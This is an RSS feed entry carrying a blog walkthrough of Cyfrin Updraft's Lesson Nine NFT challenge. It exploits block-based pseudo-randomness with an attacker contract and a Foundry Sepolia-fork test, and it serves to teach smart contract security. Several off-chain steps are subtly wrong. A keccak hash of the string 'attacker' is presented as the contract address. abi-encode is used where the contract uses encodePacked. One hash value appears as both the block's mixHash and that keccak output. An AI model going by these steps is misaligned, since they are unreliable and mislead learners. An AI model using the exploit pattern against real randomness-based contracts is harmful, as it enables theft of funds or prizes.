<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Pavel Egin</title>
    <description>The latest articles on DEV Community by Pavel Egin (@kode-n-rolla).</description>
    <link>https://dev.to/kode-n-rolla</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3438050%2Faf8afa5c-97e7-483b-8fa4-9b0b06fdb3f3.jpg</url>
      <title>DEV Community: Pavel Egin</title>
      <link>https://dev.to/kode-n-rolla</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/kode-n-rolla"/>
    <language>en</language>
    <item>
      <title>🎯 Cracking Cyfrin's NFT Challenge: Guessing Pseudo-Randomness Like a Pro</title>
      <dc:creator>Pavel Egin</dc:creator>
      <pubDate>Sat, 16 Aug 2025 19:27:49 +0000</pubDate>
      <link>https://dev.to/kode-n-rolla/cracking-cyfrins-nft-challenge-guessing-pseudo-randomness-like-a-pro-1mp5</link>
      <guid>https://dev.to/kode-n-rolla/cracking-cyfrins-nft-challenge-guessing-pseudo-randomness-like-a-pro-1mp5</guid>
      <description>&lt;h2&gt;
  
  
  Hey there!
&lt;/h2&gt;

&lt;p&gt;I'm kode-n-rolla — a security researcher diving deep into Web3 security. I'm fascinated by how blockchains work under the hood, especially when it comes to smart contract vulnerabilities. Every day I’m reverse-engineering contracts, breaking things (ethically 😉), and sharpening my Solidity + Foundry skills.&lt;/p&gt;

&lt;p&gt;Recently, I discovered &lt;a href="https://updraft.cyfrin.io/" rel="noopener noreferrer"&gt;Cyfrin Updraft&lt;/a&gt; — a free platform for learning Solidity and blockchain security. Alongside their learning modules, they offer unique NFT challenges. These are not ordinary quizzes — you have to actually exploit something to solve the task and earn a badass on-chain NFT proving your skills 🧠🔓&lt;/p&gt;

&lt;p&gt;This article is a walkthrough of how I solved &lt;strong&gt;Lesson Nine&lt;/strong&gt;, a challenge where your goal is to &lt;strong&gt;guess a pseudo-random number&lt;/strong&gt; and call &lt;code&gt;solveChallenge(...)&lt;/code&gt; to claim the NFT.&lt;/p&gt;

&lt;p&gt;Sounds impossible? Not really — once you understand:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;How &lt;code&gt;abi.encodePacked&lt;/code&gt;, &lt;code&gt;keccak256&lt;/code&gt; and &lt;code&gt;% 100000&lt;/code&gt; work together&lt;/li&gt;
&lt;li&gt;How values like &lt;code&gt;block.timestamp&lt;/code&gt; and &lt;code&gt;block.prevrandao&lt;/code&gt; affect randomness&lt;/li&gt;
&lt;li&gt;How to simulate the Sepolia chain using a fork + &lt;code&gt;vm.warp&lt;/code&gt; in Foundry&lt;/li&gt;
&lt;li&gt;How to craft the correct input without reverting&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you're learning smart contract security and want a hands-on example of attacking pseudo-randomness — this one's for you. Let’s dig in 🔍&lt;/p&gt;

&lt;h2&gt;
  
  
  🛠️ Setting Up the Playground
&lt;/h2&gt;

&lt;p&gt;Before writing any exploit code, we need a proper environment to simulate the real Sepolia blockchain.&lt;/p&gt;

&lt;h3&gt;
  
  
  🔧 Step 1: Start a Foundry project
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;forge init lesson9
&lt;span class="nb"&gt;cd &lt;/span&gt;lesson9
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Foundry is my go-to tool for smart contract testing. It's blazing fast, flexible, and lets you fork real blockchains easily.&lt;/p&gt;

&lt;h3&gt;
  
  
  📁 Step 2: Create a .env file
&lt;/h3&gt;

&lt;p&gt;We’ll be forking Sepolia at a specific block, so we need to set up environment variables.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SEPOLIA_RPC="https://sepolia.infura.io/v3/YOUR_API_KEY"
TARGET="0xTargetContractAddress"
FORK_BLOCK=8997426
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To load them inside tests, don’t forget to source the file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;source .env
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  🔍 Step 3: Pick a specific block to fork
&lt;/h3&gt;

&lt;p&gt;Why do we need a fixed block?&lt;/p&gt;

&lt;p&gt;Because the challenge uses &lt;code&gt;block.timestamp&lt;/code&gt; and &lt;code&gt;block.prevrandao&lt;/code&gt; as part of the pseudo-randomness. If you don’t lock those values, your guess will always be wrong.&lt;/p&gt;

&lt;p&gt;Get the latest block number:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cast block-number --rpc-url $SEPOLIA_RPC
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pick one (e.g., 8997426) and get its full details:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cast block 8997426 --rpc-url $SEPOLIA_RPC
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Save the &lt;code&gt;timestamp&lt;/code&gt; and &lt;code&gt;mixHash&lt;/code&gt; (this is actually prevrandao).&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 4: Add the target interface
&lt;/h3&gt;

&lt;p&gt;Create &lt;code&gt;src/ILessonNine.sol&lt;/code&gt;&lt;br&gt;
 with the interface of the challenge contract:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

/// @title LessonNine Interface - Solve the pseudo-randomness challenge
interface ILessonNine {
    function solveChallenge(uint256 randomGuess, string calldata yourTwitterHandle) external;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Why interface? Because we don’t need the full contract, just its external call signature to interact with it.&lt;/p&gt;

&lt;p&gt;Ready for the next step — generating the correct input and attacker address? 😏&lt;/p&gt;

&lt;p&gt;Let’s go!&lt;/p&gt;

&lt;h2&gt;
  
  
  🎯 Cracking the "Random" — Making a Correct Guess
&lt;/h2&gt;

&lt;p&gt;The goal of this challenge is to guess the correct number (between 0 and 99999) generated inside the contract. It uses a very common but insecure pattern for pseudo-randomness:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;uint256 guess = uint256(keccak256(abi.encodePacked(msg.sender, block.prevrandao, block.timestamp))) % 100000;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let’s break that down. It depends on:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;msg.sender&lt;/code&gt;: in our case, it's a contract we deploy&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;block.prevrandao&lt;/code&gt;: randomness beacon from the previous block (also called mixHash)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;block.timestamp&lt;/code&gt;: current block timestamp&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;But since we control all of this (via a fork!), the randomness isn't really random anymore 😉&lt;/p&gt;

&lt;h3&gt;
  
  
  🕵️‍♂️ Step 1: Re-create the guess off-chain
&lt;/h3&gt;

&lt;p&gt;We start by selecting:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A known timestamp from the block (1755355572)&lt;/li&gt;
&lt;li&gt;A known prevrandao/mixHash from the block (0x3a70aa...)&lt;/li&gt;
&lt;li&gt;And we choose our attacker contract address&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;But we need to know the future address of our attacking contract… wait, how?&lt;/p&gt;

&lt;h3&gt;
  
  
  🧠 Step 2: Predict attacker contract address
&lt;/h3&gt;

&lt;p&gt;Since we're deploying the attacking contract from a fixed EOA, the deployed contract address is predictable.&lt;/p&gt;

&lt;p&gt;We picked an attacker address:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;export attackerEOA=0x97154a62Cd5641a577e092d2Eee7e39Fcb3333Dc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then we computed the contract address using Foundry:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cast keccak "attacker"
# → 0x3a70aa...  ← use the last 40 hex characters (20 bytes) for the contract address
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  🔢 Step 3: Build the exact calldata
&lt;/h3&gt;

&lt;p&gt;The solveChallenge() function expects:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;function solveChallenge(uint256 randomGuess, string calldata yourTwitterHandle)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To simulate the guess off-chain, we do:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cast abi-encode "f(address,uint256,uint256)" \
  &amp;lt;contract_address&amp;gt; \
  &amp;lt;prevrandao&amp;gt; \
  &amp;lt;timestamp&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then hash the full data:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cast keccak &amp;lt;abi_encoded_data&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And finally:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;echo "$((0x&amp;lt;hash&amp;gt; % 100000))"
# ✅ That’s your correct guess!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In our case, the guess was 90451.&lt;/p&gt;

&lt;p&gt;🔥 This is the core of the challenge — reversing a weak random generator with on-chain data. It shows why you should never use block variables for randomness in security-critical logic.&lt;/p&gt;

&lt;h2&gt;
  
  
  🛠 Writing the Exploit — Deploy, Guess, Profit
&lt;/h2&gt;

&lt;p&gt;Once we’ve cracked the guess off-chain, it’s time to actually submit it. But there’s one more twist — the challenge contract is expecting the call from a smart contract (not an EOA), which will act as the &lt;code&gt;msg.sender&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Let’s build that!&lt;/p&gt;

&lt;h3&gt;
  
  
  📦 Hack Contract
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;contract HackLessonNine {
    ILessonNine public target;
    string public handle;

    constructor(address _target, string memory _handle) {
        target = ILessonNine(_target);
        handle = _handle;
    }

    function run() public {
        uint256 guess = uint256(
            keccak256(
                abi.encodePacked(address(this), block.prevrandao, block.timestamp)
            )
        ) % 100000;

        target.solveChallenge(guess, handle);
    }

    receive() external payable {}

    function onERC721Received(...) external pure returns (bytes4) {
        return this.onERC721Received.selector;
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What’s happening here:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;We store the target contract and Twitter handle.&lt;/li&gt;
&lt;li&gt;In &lt;code&gt;run()&lt;/code&gt; we rebuild the guess on-chain using &lt;code&gt;address(this)&lt;/code&gt;, &lt;code&gt;block.prevrandao&lt;/code&gt; and &lt;code&gt;block.timestamp&lt;/code&gt; — exactly as the challenge does.&lt;/li&gt;
&lt;li&gt;Then we call &lt;code&gt;solveChallenge()&lt;/code&gt; with the guess.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;onERC721Received&lt;/code&gt; function is required to receive the NFT if the challenge uses &lt;code&gt;safeTransferFrom&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Writing the Forge Test&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;contract HackSolve is Test {
    uint256 fork;
    address TARGET;
    address attackerEOA = 0x97154a62Cd5641a577e092d2Eee7e39Fcb3333Dc;

    function setUp() public {
        string memory rpc = vm.envString("SEPOLIA_RPC");
        uint256 blockNum = vm.envUint("FORK_BLOCK");
        TARGET = vm.envAddress("TARGET");

        fork = vm.createFork(rpc, blockNum);
        vm.selectFork(fork);

        vm.warp(1755355572); // ⏳ Timestamp override
        vm.deal(attackerEOA, 1 ether); // 💰 Fund the attacker
    }

    function test_ExploitWithInternalCall() public {
        vm.selectFork(fork);
        vm.startPrank(attackerEOA);

        HackLessonNine hack = new HackLessonNine(TARGET, "0xsolver");
        hack.run();

        vm.stopPrank();
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  🧠 Why this works:
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;The fork is created at the block we analyzed earlier.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;vm.warp()&lt;/code&gt; freezes the time to match the one used in the off-chain guess.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;startPrank()&lt;/code&gt; lets us deploy and interact as the attackerEOA, keeping the deployed contract address consistent.&lt;/li&gt;
&lt;li&gt;Finally, we deploy the &lt;code&gt;HackLessonNine&lt;/code&gt; contract and call &lt;code&gt;run()&lt;/code&gt; — and voilà! 🎉&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If everything’s correct, the NFT will be minted to the contract and transferred to the attacker EOA!&lt;/p&gt;

&lt;h3&gt;
  
  
  All Code on GitHub
&lt;/h3&gt;

&lt;p&gt;You can find all the necessary files for this challenge — including the HackLessonNine contract, the Forge test, and even .env examples — in my GitHub repo 👉 &lt;a href="https://github.com/Kode-n-Rolla/web3/tree/main/own_kodes/nft_challange" rel="noopener noreferrer"&gt;here&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This way, you don’t need to copy-paste from the article — everything’s structured and ready to run.&lt;/p&gt;

&lt;h3&gt;
  
  
  📘 Bonus: NatSpec Comments
&lt;/h3&gt;

&lt;p&gt;I also added NatSpec comments to the contracts — it’s a good practice to document your smart contracts properly, especially when collaborating or auditing. Think of it as the Solidity equivalent of writing clean commit messages 😄&lt;/p&gt;

&lt;p&gt;They might look like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/**
 * @title HackLessonNine
 * @author your name
 * @notice This contract computes the pseudo-random number and calls the solve function.
 */
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;They don’t affect execution, but they help readers (and tools!) understand your code faster. Let’s make good habits the default. 👨‍💻✨&lt;/p&gt;

&lt;h2&gt;
  
  
  ✅ Writing the Forge Test
&lt;/h2&gt;

&lt;p&gt;Here’s where the magic happens — we simulate the entire attack in a &lt;strong&gt;Foundry test&lt;/strong&gt; using a &lt;strong&gt;Sepolia fork&lt;/strong&gt;. This gives us a clean and controlled environment where we can call &lt;code&gt;solveChallenge&lt;/code&gt; under real blockchain conditions.&lt;/p&gt;

&lt;p&gt;Let’s break it down:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;contract HackSolve is Test {
    uint256 fork;
    address TARGET;
    address attackerEOA = 0x9715...3Dc;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We define:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;fork&lt;/code&gt; – for storing our fork ID,&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;TARGET&lt;/code&gt; – the target contract we’ll interact with,&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;attackerEOA&lt;/code&gt; – the address we manually derived earlier (you remember that &lt;code&gt;cast keccak&lt;/code&gt; moment 😏).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;setUp(): Preparing the Fork&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;function setUp() public {
    string memory rpc = vm.envString("SEPOLIA_RPC");
    uint256 blockNum = vm.envUint("FORK_BLOCK");
    TARGET = vm.envAddress("TARGET");

    fork = vm.createFork(rpc, blockNum);
    vm.selectFork(fork);

    vm.warp(1755355572);
    vm.deal(attackerEOA, 1 ether);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This function:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Reads our &lt;code&gt;.env&lt;/code&gt; variables,&lt;/li&gt;
&lt;li&gt;Creates and selects a fork of Sepolia at the exact block we inspected,&lt;/li&gt;
&lt;li&gt;Time-travels to the original block timestamp using &lt;code&gt;vm.warp&lt;/code&gt;, and&lt;/li&gt;
&lt;li&gt;Funds our &lt;code&gt;attackerEOA&lt;/code&gt; with 1 ether to pay for gas 💸&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;🚀 test_ExploitWithInternalCall()&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;function test_ExploitWithInternalCall() public {
    vm.selectFork(fork);
    vm.startPrank(attackerEOA);

    HackLessonNine hack = new HackLessonNine(TARGET, "0xsolver");
    hack.run();

    vm.stopPrank();
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is the actual exploit:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;We use &lt;code&gt;vm.startPrank(attackerEOA)&lt;/code&gt; to impersonate the attacker.&lt;/li&gt;
&lt;li&gt;We deploy the &lt;code&gt;HackLessonNine&lt;/code&gt; contract with our handle (that shows up on the NFT 👀).&lt;/li&gt;
&lt;li&gt;Calling &lt;code&gt;run()&lt;/code&gt; triggers the pseudo-random guess generation and sends it to the challenge contract.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let’s run the test command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;forge &lt;span class="nb"&gt;test&lt;/span&gt; &lt;span class="nt"&gt;--mc&lt;/span&gt; HackSolve &lt;span class="nt"&gt;-vvv&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;⠊] Compiling...
&lt;span class="o"&gt;[&lt;/span&gt;⠑] Compiling 1 files with Solc 0.8.30
&lt;span class="o"&gt;[&lt;/span&gt;⠘] Solc 0.8.30 finished &lt;span class="k"&gt;in &lt;/span&gt;1.55s
Compiler run successful!

Ran 1 &lt;span class="nb"&gt;test &lt;/span&gt;&lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="nb"&gt;test&lt;/span&gt;/HackSolve.t.sol:HackSolve
&lt;span class="o"&gt;[&lt;/span&gt;PASS] test_ExploitWithInternalCall&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;gas: 621045&lt;span class="o"&gt;)&lt;/span&gt;
Suite result: ok. 1 passed&lt;span class="p"&gt;;&lt;/span&gt; 0 failed&lt;span class="p"&gt;;&lt;/span&gt; 0 skipped&lt;span class="p"&gt;;&lt;/span&gt; finished &lt;span class="k"&gt;in &lt;/span&gt;399.25ms &lt;span class="o"&gt;(&lt;/span&gt;1.14ms CPU &lt;span class="nb"&gt;time&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;

Ran 1 &lt;span class="nb"&gt;test &lt;/span&gt;suite &lt;span class="k"&gt;in &lt;/span&gt;401.88ms &lt;span class="o"&gt;(&lt;/span&gt;399.25ms CPU &lt;span class="nb"&gt;time&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;: 1 tests passed, 0 failed, 0 skipped &lt;span class="o"&gt;(&lt;/span&gt;1 total tests&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If everything is like this… 🎉 you receive the NFT (locally, not in real network)!&lt;/p&gt;

&lt;h2&gt;
  
  
  🧠 Final Thoughts: Pseudorandomness &amp;amp; Blockchain
&lt;/h2&gt;

&lt;p&gt;Before we wrap up, let’s talk briefly about the core idea behind this challenge — &lt;strong&gt;pseudorandom numbers&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;In traditional applications, generating random numbers is relatively easy thanks to system entropy (e.g. from mouse movement, CPU jitter, etc). But on-chain randomness is a completely different beast.&lt;/p&gt;

&lt;p&gt;Why?&lt;br&gt;
Because everything on the blockchain is deterministic. Every node must come to the exact same state — otherwise, consensus breaks.&lt;/p&gt;

&lt;p&gt;That’s why when developers try to use values like &lt;code&gt;block.timestamp&lt;/code&gt;, &lt;code&gt;block.prevrandao&lt;/code&gt;, or &lt;code&gt;msg.sender&lt;/code&gt; to simulate randomness, it’s never truly random — and often, it's &lt;strong&gt;predictable or manipulatable&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;This is where &lt;strong&gt;pseudorandomness&lt;/strong&gt; comes in — it’s not real randomness, but it's often "good enough"... unless a clever attacker (like us 😉) finds the pattern.&lt;/p&gt;

&lt;p&gt;🔒 For truly secure randomness on-chain, projects rely on oracles like &lt;a href="https://docs.chain.link/vrf" rel="noopener noreferrer"&gt;Chainlink VRF&lt;/a&gt;. It provides verifiable randomness — provably fair and tamper-resistant.&lt;/p&gt;

&lt;h3&gt;
  
  
  🙌 Thanks for Reading
&lt;/h3&gt;

&lt;p&gt;Thanks for coming along this journey with me!&lt;/p&gt;

&lt;p&gt;I hope this walkthrough helped demystify not only the challenge but also how randomness works (or doesn’t work!) on-chain.&lt;br&gt;
If you're also diving into Web3 security, Solidity fuzzing, or just love weird quirks in smart contracts — let’s connect!&lt;/p&gt;

&lt;p&gt;📎 Useful links:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;🔗 My &lt;a href="https://github.com/Kode-n-Rolla" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;🧠 My Tech and Security articles on &lt;a href="https://medium.com/@k0d3-n-r011a" rel="noopener noreferrer"&gt;Medium&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;🤝 Connect with me on &lt;a href="https://www.linkedin.com/in/pavel-egin/" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Happy hacking! 👾&lt;/p&gt;

</description>
      <category>web3</category>
      <category>nft</category>
      <category>security</category>
    </item>
  </channel>
</rss>
